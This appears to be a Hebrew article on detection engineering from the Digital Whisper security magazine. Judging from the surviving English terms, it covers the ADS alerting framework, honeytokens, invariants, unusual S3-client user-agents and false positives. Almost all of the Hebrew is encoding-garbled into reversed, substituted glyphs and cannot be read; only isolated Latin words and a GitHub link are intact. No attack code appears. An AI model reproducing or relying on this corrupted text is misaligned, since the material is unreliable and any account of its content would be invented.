˸˞ ˫˷˧˧˪ˣ ˡˣˬ˪˪ ˢ˴˶ˮ ,˸˧˷˞˶ s-ADS.  ˶˶ˣ˰˸ˬ˷ ˧ˬ .˸ˣ˞˶˸ˢˣ ˧ˣˢ˧ˤ ˸ˣ˩˧˞˪ ˵˧˲˯ˬ ˢˢˣ˟ˠ ˢˬ˶ ˣˤ

ˢ ˢ˟˧˸˩ˬ˷ ˫˧˶˧ˬ˥ˬˢ ˫˧˦˶ˡˮ˦˯˪ ˸ˣ˲˴˪ ˨˧˶˴ ˢ˞˶˸ˢ ˸ˣ˟˵˰˟-ADS ˢ˞˶˸ˢ˪ ˫˶ˠ˷ ˧ˣˢ˧ˤˢ ˧˶ˣ˥˞ˬ. 

 ˫˧˴ˣ˶ ˣˮ˞ ˢ˞˶˸ˢˢˬ ˶˟˩ ˢ˪ˣ˰˲ ˱ˣ˸˧˷ˣ ˡˣ˰˧˸˟ ˣ˪˧˥˸ˢ .˸ˣ˧ˮˣˮ˧˟ ˸ˣ˞˶˸ˢ ˪˷ ˸ˣ˶˟˦˴ˢ ˰ˣˮˬ˪

 ˣ˞ ˡˣ˞ˬ ˦˰ˬ ˫˰ ,˸ˬ˪˷ˣˬ ˢ˶ˣ˴˟ ˸ˡ˰ˣ˸ˬ :˯ˣ˥˧˧ˢ ˸˞˶˸ˢ ˞˧ˢ ˫˩˪˷ ˢˮˣ˷˞˶ˢ ˢ˞˶˸ˢˢ .ˢˮˣ˷˞˶ˢ

 ˭˲ˣ˞˟ ˣ˰˧˵˷ˢ .ˢ˸ˣ˞ ˪˟˵ˬ˷ ˧ˬ ˪˩ ˧ˡ˧ ˪˰ ˥ˣˮ˰˲˪ ˸ˮ˸˧ˮˣ ˫˧˶ˣ˶˟ ˢ˟ˣˠ˸ ˧˷˧˥˶˸ ,˞ˣˣ˷ ˸ˣ˞˶˸ˢ ˞˪˪

˟ ˭˲ˣˡ ˞˴ˣ˧˫˩˪˷ ˸˧ˮ˩ˣ˸ˢ ˪˷ ˢ˪˧˟ˣˬˢ ˢ˞˶˸ˢˢ ˣˤ .ˢ˧˪˞ ˸˶˥˞ ˢ˞˶˸ˢ ˪˩ ˣˣ˷ˢˣ ˢˮˣ˷˞˶ˢ ˢ˞˶˸ˢ. 

-sADS ˧ˣˢ˧ˤ ˸˩˶˰ˬ˪ ˸˯ˮ˩ˮ ˢ˞˶˸ˢ˷ ˧ˮ˲˪ ˡ˰˸˪ ˨˧˶˴ ˢˬ ˧˟ˠ˪ ˸ˣ˧˥ˮˢ ˢ˰˧˴ˬ ˟-Production. 

˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ ˧ˣˢ˧ˤ˟ ˡ˵ˬ˸ˢ˪ ˨˧˶˴ ˸ˣ˞˶˸ˢˢ ˪˷ ˭ˣ˷˞˶ˢ ˦˯ˢ (Invariants).  ˫˪ˣ˰˪ ˫˩˪˷ ˸˧˸˷˸ˢ

 ˢ˩˧˶˴ ˞˪˸ˣ˧ˮ˧ˡˬˣ ˸ˣ˶˵˟ ˫˰ ˫˧˟ˠˬ ˫˸˞˷ ˸ˣ˥ˮˢ ˪˰ ˯˯˟˸ˢ˟ ˣ˪˞ ˫˧˟˴ˬ˟ ˪˵˸˧ˢ˪. 

ˢˬˠˣˡ: ˥˸˲˧ˢ˪ ˨˧˶˴ ˞˪ ˫˪ˣ˰˪ ˸ˣˡˣ˯ˢ ˪ˣˢ˧ˮ ˸ˣ˶˧˷. 

˪˷ ˸ˣˡˣ˯ˢ s-Prodcution  ˥ˣ˸˲˪ ˸ˣ˟˧˯ ˷˧ ,˭˩ .˸˪˟ˠˣˬ ˢ˷˧ˠ ˫˰ ˵ˣˬ˰ ˭˲ˣ˞˟ ˫˧ˡ˶˲ˣˬ ˸ˣ˧ˢ˪ ˫˧˧ˣ˷˰

˪ˣ˩˧ ˪˟˞ ,˸˲˯˩ ˢ˸ ˪˧˰˲˸ ˸˲˯˩ ˪˷ ˢ˥˧˸˲ ˪˩˷ ˢ˧˧˲˧˴ ˸ˣ˧ˢ˪ˢ˶˷˩˪ ˢ˞˶˸ˢˢ ˸˞ ˨˲ˣˢ˷ ˢˬ ,˸˧˶˵. 

ˢˬˠˣˡ :˟ ˵˥ˣ˶ˬ ˷ˣˬ˧˷ ˭˧˞-API ˪˷ IaaS. 

 ˸ˣ˪˧˰˲ ˪˩˷ ˫˧˷˶ˣˡ (ˢˣˣ˵˸˟) ˫˸˞ ˸˸ˬˣ˞ˬ ˸˩ˬˣ˸ ˫˩˪˷ ˸˧˸˷˸ˢ ˫˞ .˸ˣˬ˧ˣ˯ˬ ˸ˣ˸˷˶ ˧˸˸ˬ ˰˧ˠ˸

˨˩˟ (˸ˣ˧ˮ˧ˡˬ IAM, ˫˧˧ˮ˧˟ ˧˸˶˷ ,˸ˣ˸˷˶ ˸ˡ˶˲ˢ ) ˪˰ ˵ˤ˥ ˡ˧˰˧ ˣ˪˞ ˸ˣ˸˷˶˪ ˳ˣ˥ˬ ˢ˷˶ˣˬ ˞˪ ˷ˣˬ˧˷

 ˸˲˧˪ˡCredentials ,(ˬ ˸ˣ˥˸˲ˬ˟ ˫˧˷ˬ˸˷ˬ ˰ˣˡˬ-VPN ˧˞˶˵˞? ) ˫˞ ˸˧ˬ˧˦˧ˠ˪ ˢ˞˶˸ˢ ˣˤ ,˟ˣ˷

˰˴˟˪ ˣˮ˧˪˰˷ ˸˧˯˧˯˟ ˢˡˣ˟˰ ˷˧ ,˸˶˥˞ .˨˩˟ ˨ˬˣ˸ ˰ˣ˟˵ˢ ˢˮ˸˷ˬˢ. 

ˢˬˠˣˡ :˟ ˸˰ˠ˪ ˨˧˶˴ ˞˪ ˡ˥˞ ˱˞-honeytokens. 

˟ ˸˰ˠ˪ ˭˧˞ .˶ˣ˶˟ ˢˤ ,˭˩-honeytokens  ˫˧˥˸˲ˬˢ ˪ˣ˪˯ˬ˪ ˳ˣ˥ˬ ˢˬ˩˥ ˢ˶ˣ˴˟ ˫˧ˬ˵ˣˬˬ ˫ˢ˷ ˭ˣˣ˧˩ˬ

˧ˣ˲˴ˢ. ˫˩˪˷ ˢˬ˶ˣ˲˦˪˲ˢ ˪˷ ˢ˟ˣˠ˸ˢ ˸˪ˣ˩˧ ˸˞ ˥˧˦˟ˢ˪ ˷˧ ,˭˩ˬ ˶˥˞˪. 

˶ˣ˦˵˧ˡˮ˧˞ ˯˧ˮ˩ˢ˪ ˭˸˧ˮ˷˩ ˸˧ˮ˟ˮ ˢ˟ˣˠ˸ ˸˪ˣ˩˧ (IoC) ˣˬ˩ hash ˸˟ˣ˸˩ ˣ˞ ˭˧˧ˬˣˡ ,ˢ˴˶ˢ ˳˟ˣ˵ ˪˷ ˧ˮˣˡˤ IP 

ˣ˞ ,˸˞˴ˣ˧ TTP  .˪˩ˢ ˢˤ .ˢ˟ˣˠ˸ˢ ˸ˣˣ˴˪ ˸˧ˡ˧˧ˬ ˨˩ ˪˰ ˢ˞˶˸ˢˣ ,˫˩˪˷ ˧ˣˢ˧ˤˢ ˨˶˰ˬ˪ (˸ˬ˧ˣ˯ˬ ˢ˵˧ˮ˩˦)

ˬ˶ˣ˲˦˪˲ ˫˧˶ˣ˦˵˧ˡˮ˧˞ ˶˥˞ ˟˵˰ˬ ˸ˣ˰˴ˬ˞˟ ˸ˣ˧˶˵˸˪ ˢ˟ˣˠ˸ ˭ˬˤ˟ ˢ˥ˣ˵˲ ˭˧˰ ˸˵˲˯ˬ ˫˩˪˷ ˧ˣˢ˧ˤˢ ˸

˫˧˰ˣˡ˧. 

 ˧˪ˣ˞ ˡ˧˴ˢ ˧ˮˣ˸ˮˬ ˵˪˥ .ˡ˧˴ ˧ˮˣ˸ˮ˩ ˟˷˥˧ˢ˪ ˪ˣ˩˧ ˢ˞˶˸ˢ˪ ˫ˡ˵˪ˬ ˰ˮˬ˧ˢ˪ ˫˧˴ˣ˶ ˫˸˞˷ ˧ˣˢ˧ˤ ˪˩ ,˱ˣ˯˟˪

˫˧˧˷ˣˬ˧˷ ˸ˣ˧ˢ˪ ˫˧˧ˣ˷˰ ˭˧˧ˡ˰ ˫ˢ ˨˞ ,ˢ˞˶˸ˢ˪ ˣˬˡˣ˵˧ ˞˪ ˫˪ˣ˰˪. ˣ˥ ˡ˧˴˪ ˸˶ˡˢˮ ˢˬˠˣˡ ˸˴˶ˢ ˞˧ˢ ˶ˤ

˸ˡˣ˵˲uniq | sort   ˪˩ ˪˰-sUser-Agents  ,˷ˡ˥ ˷ˬ˸˷ˬ ˭˩ˣ˯ ˰˧˲ˣˬ ˫˞ .˭ˬˤ ˨˶ˣ˞˪ ˸˧˸˷˸˟ ˣ˰˧˲ˣˢ˷

 ˷ˣ˪ˠ˪ ˧ˡ˩ ˱˵ˣ˸ ˣ˟ ˷ˬ˸˷ˬ˷ ˭˲ˣˡ ˞˴ˣ˧ ˧˲˶ˠ ˵˷ˬˬ ˧˪˩ ˢ˪ˠ˧ ˣ˞ ˸˧˸˷˸˟ ˢ˶ˣ˵˷ ˢˬ ˱ˣ˷˥˧ ˣ˞ ˞ˣˢ

https://github.com/palantir/alerting-detection-strategy-framework/tree/master/ADS-Examples
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ˣˬ˩ ,˸˧˸˷˸˟ Cloudberry ,Elasticwolf x˞ s3 browser. User-Agents  ˫˧˷ˡ˥ ˸ˣ˶˶ˣ˰˸ˢ ˫˧ˣˣ˷ ˞˪

 ˷ˡ˥ ˫˧ˮˣ˸ˮ ˶˴ˣˬ ,ˣ˞˶˸ ,ˢ˞) .˫˧˶ˤˣˬ ˫˧˶˟ˡ ˡˣ˴˪ ˷˲˥ˬ˷ ˧ˬ ˶ˣ˟˰ ˧˟˧˦ˬ˶ˣ˲ˮ˧˞ ˧˪˩ ˫ˢ ˪˟˞ ,ˢ˪˧˪˟

˯ˮ˩ˮ ˪-Prod(. 

 ˣˤˢ ˢ˪˟ˠˢˢ .˧˪˪˩ ˫ˡ˞ ˥ˣ˩ ˪˰ ˫˧˵˟˞ˮ ˭˧˧ˡ˰ ˣˮ˥ˮ˞ .˧ˣˢ˧ˤ ˸˯ˡˮˢ˪ ˧ˡˣ˰˧˧ ˸ˣˣ˴˪ ˫˧ˮ˩ˣˬ ˞˪ ˭˧˧ˡ˰ ˣˮ˥ˮ˞

˟ˣ˶˵˟ ˣˮ˧˟˸˷ ˣˬ˩ ,˸ˮˣˣ˩ˬ. 

 

˳ˣˬ˧˞ ˪˷ ˧ɣ˸˷ ˢ˯ˡˮˢ ˧ˣˢ˧ˤ˪ ˭˲ˣ˞˟ ˞˪ˬ 

 ˞˧ˢ˷ ˢˡˣ˟˰ˢ ˟˴˵˟ ˦ˣ˪˷˪ ˭˸˧ˮ ˶˷˞˩ ˶˸ˣ˧˟ ˸˧˟˧˦˵˲˞ˢ ˢ˶ˣ˴˟ ˱˵ˣ˸˪ ˸˯ˮ˩ˮ ˢ˞˪ˬ ˧ˣˢ˧ˤ ˸˯ˡˮˢ

 ˪ˢˮ˪ ˧ˡ˩ ˭ˣˣ˩ˬ˟ ˥˵˪ˮ ˟˪˷ ˪˩ .˫˩˪˷ ˸ˣ˶˥˞ˢ ˸ˣ˶˦ˬˢ ˸˞ ˷˟˷˪ ˧˪˟ˬ ,ˢ˸ˣ˞ ˦˞ˢ˪ ˣ˞ ˳˧˞ˢ˪ ,˸˶˴˧˧ˬ

˨˩˟ ˨ˣ˶˩ˢ ˢˡˣ˟˰ˢ ˱˵˧ˢ ˸˞. ˫˧˴˧˞ˬ ˣˮ˥ˮ˞ ˨˧˞ ˢˮˢ: 

¶  ˸˯ˮ˩ˢ˳ˣ˥˟ˬ ˣ˶˴ˣˮ˷ ˫˧˶˴ˣˬˣ ˫˧˧ˣˢ˧ˤ. 

¶ ˡ˧˴ˬ ˫˧˸ˬˣ˞ˬ ˸ˣˮˣ˧˰˶ ˫ˣˡ˧˵ (hunt) ˢ˞˶˸ˢ˪ ˫˧ˮ˸˧ˮˢ ˫˧˧ˣˢ˧ˤ˪. 

¶ ˫˧ˮˣ˩˧˯ ˸ˣ˵˧ˡ˟ˣ ˸ˣ˧˴ ,˫˧ˬˣ˧˞ ˭˧˰˧ˡˣˬ ,ˢ˲˵˸ˢ :˫˧˸ˣˣ˴ˬ ˫˧˷˧˥˶˸ ˷ˣ˟˧ˠ. 

...˫˧˦˞ˬ ˣ˞: 

¶  ˸ˣ˶˴˧˧ˬ˷ ˸ˣ˞˶˸ˢ ˸ˠ˶ˡ ˸ˡ˶ˣˢFalse Positives ˸˶˸ˣ˧ˬ ˢˡˣ˟˰ ˣ˞. 

¶ ˪˰ ˢ˧ˣ˲˩ ˢ˟˧˦˵˲˯ˣ˶˦˶ ˸˩˧˶˰ False Positives ˢ˞˶˸ˢˢ ˧˶˴ˣ˧ ˫˰. 

¶ ˸ˣ˞˶˸ˢ ˸˶˧˴˧ ˪˰ ˫˧˸˧ˬ˰ ˸˶ˣ˵˧˟˟ ˸ˣ˶˰ˢ ˱ˣ˸˧˷. 

 ˧˸˪˟ ˭˲ˣ˞˟ ˶˴˧˧˸ ˣˤˢ ˸˩˶˰ˬˢ˷ ˢˡˣ˟˰ˢ ˟˴˵ ˪ˣˢ˧ˮ˟ ˭ˣ˥˦˧˟ ˷˧ˠ˶ˮ˷ ˧ˮ˲˪ ˢˤˢ ˟˪˷˪ ˰˧ˠˢ˪ ˭˸˧ˮ ˞˪

˰ˮˬˮ. 

 

˱ˣˡ˰˧˸  ˶ˣ˟˰ ˯ˣ˧ˠDetection Engineering 

˫ˡ˞ ˥ˣ˩ ˞˷ˣˮ˟ ˭˶ˬ˷ ˨˩ ˪˩ ˧˸˧˧ˢ ˰ˣˡˬ? 

,˸˧˷˞˶ ˧ˣˢ˧ˤˢ ˸ˣ˶ˣˮ˧˴ .ˢ˞˪ˬ ˢ˶˷ˬ˟ ˡ˥˞ ˫ˡ˞ˬ ˶˸ˣ˧ ˷ˣ˶ˡ˸ ˞˪ ˫˪ˣ˰˪ ˧ˣˢ˧ˤ ˸˯ˡˮˢ˷ ˭˩˸˧˧ 

(Detection Pipelines)  ˭ˢ˷ ˸ˣ˶˟˥˟ ˡ˥ˣ˧ˬ˟ ,˶˸ˣ˧ ˸ˣ˶˧˰˴ ˸ˣ˶˟˥˟ ˣ˧ˢ˷ ˫˧˦ˣ˧˯ˢ ˸˞ ˫˧ˣˣˢˬ ˞˪ ˶˟˩

˭˲ˣ˞˟ ˭ˮ˰ ˸ˣ˯˯ˣ˟ˬ  ˫˧˦ˣ˷˲ ˸ˣ˧ˢ˪ ˫˧˩˲ˣˢ ˫˧˪˩ .˞˪ˬ.˶˸ˣ˧ 

˸ˢ ˶˥˞˪ ˵˶ ˧ˣˢ˧ˤ ˸˯ˡˮˢ ˸ˣˣ˴ ˷˧˧˞˪ ˷˧ ˫˧˧˪ˣˢ˧ˮ ˫˧ˮˣ˩˧˯ ˪ˣˢ˧ˮ˪ ˫˧˪˩ˢ .˫˧˯˧˯˟˟ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣˬˡ˵

 ˶ˣ˴˧˧ ˢˤ ˫˞ ˞˪ ˪˟˞ ,ˢˤˢ ˫ˣ˥˸˟ ˫ˡ˞ˢ ˥ˣ˩ ˸˞ ˟˧˥˶ˢ˪ ˸ˣ˟˶ ˸ˣ˟˧˯ ˷˧ .˫˧˪˷˟ ˫ˢ ˫ˠ ˸ˣ˧ˢ˪ ˫˧˩˧˶˴

˧˪ˣˢ˧ˮ ˭ˣ˩˧˯ ˧ˡ˧˧ˬ ˭˲ˣ˞˟. 
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˧˪ˣˢ˧ˮ ˭ˣ˩˧˯ ˢˤ˧˞? 

 ˣ˴˶˸ ˞˪ ,ˢ˟ˣˠ˸˟ .˭ˣ˩ˮ ˞˪ˢ ˳˥˪ˢ ˠˣ˯ ˸˞ ˡ˧ˬ ˶ˣ˴˧˧ ˧ˣˢ˧ˤˢ ,ˢˬ˵ˣˢ ˞˪ ˭˧˧ˡ˰ ˢ˞˧˶˟ ˸˧˪ˣˢ˧ˮ ˢ˟˧˟˯ ˫˞

 ˧˯ˣ˲ˡ ,˸ˣˮˣ˷ ˢ˶ˬˣ˥ ˸ˣˬ˶ ,ˡ˶˲ˮ ˸ˣˬ˧˷ˬ ˪ˣˢ˧ˮ ˫˰ ˪˧˟˵ˬ ˪ˣˢ˧ˮ ˢˮ˟ˬ ˸ˣˮ˟˪ˢ˧˴˪˵˯˞ ˣ˩ˣ ˫˧ˡ˶˲ˮ'. 

 ˭ˣˠ˶˞˟ ˫˧ˬ˧˧˵ˢ ˫˧ˮˣ˧ˡˢ ˸˞ ˣ˞˴ˬ .˫ˣ˵ˬ ˪˩˟ ˫˧˶ˠ˸˞ ˫ˢ ˱ˣˡ˰˧˸ˣ ˸ˣˬ˧˷ˬ ˪ˣˢ˧ˮ ,ˢˤ ˞˷ˣˮ˟ ˫˩˪˷

 ˸ˬ˶ˣˤ ˢˡˣ˟˰ˢ ˨˧˞ ˭˧˟ˢ˪ ˣ˯ˮˣ ˫˧˪ˢˮˬ ˫˰ ˣ˶˟ˡ .˷ˡ˥ˬ ˫˸ˣ˞ ˞˧˴ˬˢ˪ ˫ˣ˵ˬ˟ ˫ˢ˧˪˰ ˣˮ˟ˣ ˢ˪ˣ˰˲ ˣ˲˸˷

 ˶ˢˬ ˢ˧˰˟ˢ ˸˞ ˱˧˶˥˸ ˫ˡ˵ˣˬ ˟˪˷˟ ˫ˡ˞ˢ ˥ˣ˩ ˸˪ˡˠˢ .ˢˡˣ˟˰ ˭ˣˬˢ ˸˶˴ˣ˧ ˧ˣˢ˧ˤ ˸˯ˡˮˢ .ˢ˶˟˥ˢ ˨ˣ˸˟

.˸˧˯˧˯˟ˢ ˪ˣˢ˧ˮˢ ˸˧˧˰˟ ˸˞ ˭˵˸˪ ˣ˪˩ˣ˸˷ ˢˬˬ ˶˸ˣ˧ 

ˬ ˸˪˟ˣ˯ ˧ˣˢ˧ˤ ˸˯ˡˮˢ˫˧ˮ˧˟ˬ ˫˧˷ˮ˞˷ ˢˬˬ ˶˸ˣ˧ ˢ˟˶ ˸˧˪ˣˢ˧ˮ ˢˡˣ˟˰ ˸ˣˬ˩. 

 .ˢ˪˧˥˸ ˧ˣˢ˧ˤˢ ˫ˣ˥˸˪ ˳ˣ˥ˬ ˫˧˯˧˯˟ˢ ˸˞ ˱˧ˡ˰ˢ˪ ˷˧ ,˭˩˪ .˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸ ˪˷ ˧ˤ˩˶ˬˢ ˶ˠ˸˞ˢ ˞ˣˢ ˪ˣˢ˧ˮ

˫˧˰ˣ˟˵ ˫˧ˮ˸˷ˬ˟ ˷ˣˬ˧˷ (Invariants)  ˢ˧ˠ˦˶˦˯˞ˢ˷ ˭ˣ˥˦˧˟ ˢˮˣ˟ˣ ˪˪ˣ˩ˢ ˧ˣˢ˧ˤˢ ˫ˣ˥˸ ˸˞ ˦˷˲ˬ

 ˢ˧˲ˣ˯ˣ˪˧˲ˢ ˸˞ ˸ˬ˞ˣ˸ ˫˩˪˷ ˸˧˪ˣˢ˧ˮˢˢ˶˟˥ˢ ˪˷ ˸ˬ˧˧˵ˢ ˸˧˪ˣˢ˧ˮˢ. 

 ˫˩˧˪˰ ˢˡˣ˟˰ ˢˬ˩ ˣ˞˶ ,˭˩ˬ ˶˥˞˪ .˧˸˶˞˧˸˷ ˸ˣ˧˸ˠ˶ˡˢˢ ˨˶ˡˢ ˧ˮ˟˞ ˫˰ ˫˩˪˷ ˸ˣ˪ˣ˩˧ˢ ˸˞ ˣˬ˧ˠˡˢ

˱˯ˣˮ ˫ˡ˞ ˥ˣ˩ ˣ˷˧˧˞ ˤ˞ ,˨˶ˣ˴ ˷˧ ˭˧˧ˡ˰ ˫˞ .˸ˣ˪˧˰˧˟ ˢ˸ˣ˞ ˭ˣˣ˩˪ ˣ˪˩ˣ˸ ˫˞ˣ ˪ˢˮ˪. 

 ˸ˣˮ˟˪ˣ ˰˧ˠˢ˪ ˫˧˪ˣ˩˧ ˧ˣˢ˧ˤ ˸˯ˡˮˢ ˧˥ˬˣˬ˷ ˣ˟˷˥˸˷ ˭˩˸˧˧ .˸˶˥˞ ˣ˟˷˥˸ ˧˪ˣ˞ .˯˲˞ˬ ˢ˞˪ˬ ˧ˣˢ˧ˤ ˸˧ˮ˩ˣ˸

 ˣ˶˴ˣˣ˧˧ ˫˧˧ˣˠ˷ ˢ˪ˣ˰˲ ˧˯ˣ˲ˡ˷ ˶˸ˣ˧ ˶˧˟˯ ˪˟˞ ,˫˧ˮˣ˩ˮˢ ˫˧˷ˮ˞ˢ ˫˰ ˧˶˷˲˞ ˢˤ˷ ˭˩˸˧˧ ,˭˩ .ˢ˩ˣ˲ˢ ˢ˷˧ˠ ˣˤ

˫˧ˬ˧˧˵ ˫˧ˠ˷ˣˬ ˫˰ ˱˲ˣ˥ ˞ˣˢ˷ ˟˪ ˫˸ˬ˷˷ ˧˪˟ˬ ,˰˸˲˪ ˫˸˯ˮ˩ˢ˷ ˷ˡ˥ ˧˪ˣˢ˧ˮ ˠ˷ˣˬ ˪˩ ˫˰. 

 

˰ˣˡˬ  ˸˷˧ˠ ˸˞ˤ˱ˣˡ˰˧˸ˢ ?ˢˮˣ˩ˮˢ 

 ˢ˪ˣ˩˧ ˧ˣˢ˧ˤˢ ˫ˣ˥˸˟ ˢˡˣ˟˰ˢˢ˟˧˯ˢ ˢˮˢ ;˶˸ˣ˧ˣ ˶˸ˣ˧ ˸˟˩˶ˣˬ˪ ˨ˣ˲ˢ˪ˣ ˪ˠ˪ˠ˸ˢ˪. 

 ˫˧˪˧˟ˣˬ ˫˧ˬ˶ˣˠ ˶˲˯ˬ .ˢ˰˦ˬ ˭˲ˣ˞˟ ˨˞ ,˭ˣ˶˸˲˪ ˸ˮ˸˧ˮ ˸˧˞˶ˮ˷ ˣˤ˩ ˸˥˞˩ ˶˞˸ˬ ˧ˮ˞˷ ˢ˧˰˟ ˞˧ˢ ˧ˣˢ˧ˤ

) ˫˧˧˪˧˪˷ ˢ˪ˣ˰˲ ˧˯ˣ˲ˡ ˪˷ ˭ˣˣˠˬ .ˣˤˢ ˢˮ˵˯ˬ˪ ˧˸ˣ˞Anti-Patterns ˧ˣˢ˧ˤˢ ˸˞ ˫˧˩˲ˣˢ ˶˷˞˩ ˫˧˰˧˲ˣˬ (

˥˦˟˞ ˸˧ˮ˩ˣ˸˟ ˧ˡˬ ˫ˡ˵ˣˬ ˤ˩˶ˬ˪:ˢ 

мΦ ˸˧˞ˬ˴˰ ˢ˶ˣ˴˟ ˸˪˰ˣ˲ ˧ˣˢ˧ˤ ˸ˡˣ˟˰ : ˡ˟˪˟ ˢ˥˦˟˞ˢ ˟˧˴˵˸ ˨ˣ˸ˬ ˸˥˵˪ˮ ˟ˣ˶˪ ˧ˣˢ˧ˤ ˸ˬ˶ˣ˲˦˪˲

 ˪˰ ˰˧˲˷˸ ˸ˣ˵ˣ˥˶ ˫˧˸˧˰˪ ˧ˣˢ˧ˤ ˸ˬ˶ˣ˲˦˪˲ ˪˷ ˢ˸˟˷ˢ .ˢ˶˟˥ˢ ˸˯ˡˮˢˬ ˟˥˶ˮ ˶ˣ˷˧˞ ˢ˩˧˶˴ˬ ˞˪ˣ

Productionˢˬˣ˧˵ ˪˰ ˰ˡ˧˧ ˧˷ˣ˵˟ ˶˸ˣ˧ ˪ˣˡˠˢ ˧˯ˡˮˢˢ ˭ˣˠ˶˞ˢˣ ,. 

нΦ ˸ˣ˧˥ˬˣˬ ˸ˣ˥˲ ˨˧˶˴ˬ ˧ˣˢ˧ˤ ˟-Production ˨˶ˣ˴ ˞˪˪ ˰˴˟˸ˢ˪ ˢ˪ˣ˩˧ ˧ˣˢ˧ˤ˟ ˢˡˣ˟˰ ˢ˟˶ˢ :

 ˸ˣ˧˰˟˟ ˵˶ˣ ˨˞ ˸ˣ˥ˬ˸ˢ˪ ˪ˣ˩˧ ˧ˣˢ˧ˤ ˯ˡˮˢˬ .˫˧ˬˣ˷˧˧ˢ ˸ˬ˶˰˟ ˣ˞ ˶˴ˣˬ˟ ,˸˧˸˷˸˟ ˢ˞˪ˬ ˸ˣ˧˥ˬˣˬ˟

 ˧ˣˢ˧ˤˢ ˫ˣ˥˸˟ ˸ˣˬˡ˵˸ˢ ˸˶˷˲˞ˬ ˣˤˢ ˢ˶˟˰ˢˢ ˸˪ˣ˩˧ .˸ˣ˶˟˥ ˢ˟˶ˢ˟ ˪˧˰ˣˬ ˸ˣ˧ˢ˪ ˭˧˧ˡ˰ˣ ˧ˣˢ˧ˤ

ˮˢˬ ˫˧˞˴ˬˮ ˫ˢ˟˷ ˫˧˵ˬˣ˰˪ ˯ˮ˩˧ˢ˪ ˧˪˟ˬ˧˯ˡ s-Production. 



 
 

Detection Engineering   
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 167, ˶˟ˬ˟ˣˮ нлнп  пн 
 

оΦ ˭ˣ˥˴˧ˮ ˭ˬ˯ˬ ˧ˣˢ˧ˤ : ˭ˣ˥˴˧ˮ˪ ˢ˧˧˲˧˴ˢ .ˢˠ˧ˠ˥˪ ˸˧ˡ˧˧ˬ ˢ˟˧˯ ˞˧ˢ ˸ˬ˞ ˭ˬˤ˟ ˢ˲˵˸ˬ ˫˸˯˲˸˷ ˢ˰˧ˡ˧ˢ

 ˞˪˪ˣ ˢˡˣ˸ ˸˶˩ˢ ˸˶˯˥ ˢˡˣ˟˰ ˟ˣ˶˪ ˞˧ˢ ˢ˥˦˟˞ .ˢˡˣ˟˰˪ ˢ˞ˮˢ ˢ˲˧˯ˣˬˣ ˸˧˸˧ˬ˞ ˞˧ˢ ˢˤˢ

 ˢˤ˩ ˣˮ˧˞ ˧ˣˢ˧ˤ .˫˧˶ˣ˶˟ ˸ˣˮˣ˥˴˧ˮ- ˫˸˥˴˧ˮ ,˫˸ˣ˞ ˫˸˯˲˸ ˫˞. 

ˬ˷˧ˢ˪ ˧ˣ˷˰ ˢˤ ˪˩ ˧ˣˢ˧ˤ .˧ˣˢ˧ˤ˟ ˵˶ˣ ˨˞ ˡ˵ˬ˸ˢ˪ˣ ˸ˣˡˣ˟˰ˢ ˶˞˷ ˪˩ ˸˞ ˵˧˯˲ˢ˪ ˣ˟˷˥˸˷ ˨˩ ˪˩ ˟ˣ˦ ˰

 ˢ˥˦˟˞ ˸ˣˣ˴ ˣ˟˷ ˢ˪˧˶ˠ ˢˡˣ˟˰ ˳ˣ˶˰ ˣˮ˧˧ˬˡ .˶ˣ˶˟ ˭ˣ˥˴˧ˮ ˷˧˥˶˸ ˫˰ ,ˣ˟ ˡˣ˟˰˪ ˥ˣ˦˟ˣ ˨˷ˣˬ ˶ˣˤ˞ ˞ˣˢ

˟˦˧ˢ ˡˡˣ˟ˬ ˫ˣ˥˸˟ ˶ˢˬ ˤˣˤ˪ ˪ˣ˩˧ ˶ˣ˴˧˧ ˸ˣˮˣ˶˸˲ ˪˰ ˢˡˣ˟˰˪ ˟˧˴˵˸ ˣ˞ ˫˧˲ˣˮˬ ˞˴ˣˬ ˣˮ˧˞˷. 

˞ˢ ˸ˣ˧˰˟ˢ˸ˣ˧ˮˣˠ˶  ˧ˣˢ˧ˤ ˫ˢ˟˷ ˭˧˦ˣ˪˥˪ ˫˧˵ˡ˴ˣˬ ˫˧˟˴ˬ ˷˧ .ˢˬ˟ˢ ˸ˬˡ˵˪ ˧ˣˢ˧ˤˢ ˸˞ ˸ˣ˲˥ˣˡ ˟ˣ˶˪

 ˫˧˧ˡˣ˵˲˸ˣ ˫˧˧ˡˣ˰˧˧ ˫˧˧˯ˡˮˢ ˫˧˟˞˷ˬ ˫˧˵ˢ˪ ˸ˣ˪˧˰˧ ˣ˞ ˸ˣ˶˷˲˞ ˭˧˞˷ ˭˩˸˧˧ .˸˧˶˵˧˰ ˢ˧ˠ˦˶˦˯˞˪ ˨˲ˣˢ

 ˪˷ ˸ˣ˧˶˥˞ˢ ˫ˣ˥˸ˬ ˭˧˦ˣ˪˥˪ ˫˧ˮˣ˩˧˯ˢ ˸˞ ˞˧˴ˣˢ˪ ˫˧˧ˣ˷˰ ˫˧˧˯ˡˮˢ ˸ˣ˪ˣ˟ˠ .˟˩˶ˣˬ ˵˯˰˟ ˫ˣ˥˸ ˪˩˪ ˸ˣˣ˴

.˭ˣ˩˧˯ˢ ˸˸˥˲ˢ˪ ˫ˣ˶˸˪ ˪ˣ˩˧ ˢ˥˦˟˞ ˸ˣˣ˴ ˭ˢ˟ ˸ˣ˶˧ˡˮˢ ˫˧˩˶ˡˢ ˸˥˞˪ ˨˲ˣˢ ˧ˣˢ˧ˤˢ˷ ˨˩ ,ˢ˥˦˟˞ˢ 

˸˞ˤ ˫˰ ,ˢ˵˴ˣˬ ˢ˟˧˯ ˞˪˪ , ˸˷˶ˣˡ˷ ,ˢ˸˥˲ˢˢ ˸ˡˣ˟˰ˬ ˫˧˟˞˷ˬ ˸˥˵ˣ˪ ˧ˣˢ˧ˤ˟ ˸ˬˤˠˣˬ ˸ˣˡ˵ˬ˸ˢ

ˢˤ ˨ˣ˸˪ ˟˞˷˧ˢ˪ ˢ˧ˣ˷˰ ˢ˪ˢˮˢˢ .˫˧˥˸˲ˬˢ ˫˰ ˧ˮ˩˦ ˫ˣ˞˧˸ˣ ˶ˣ˴˧˧ ˪˰ ˸ˣ˩˪˷ˢ ,˟˥˶ˮ ˢ˪ˣ˰˲ ˱ˣ˸˧˷ ,

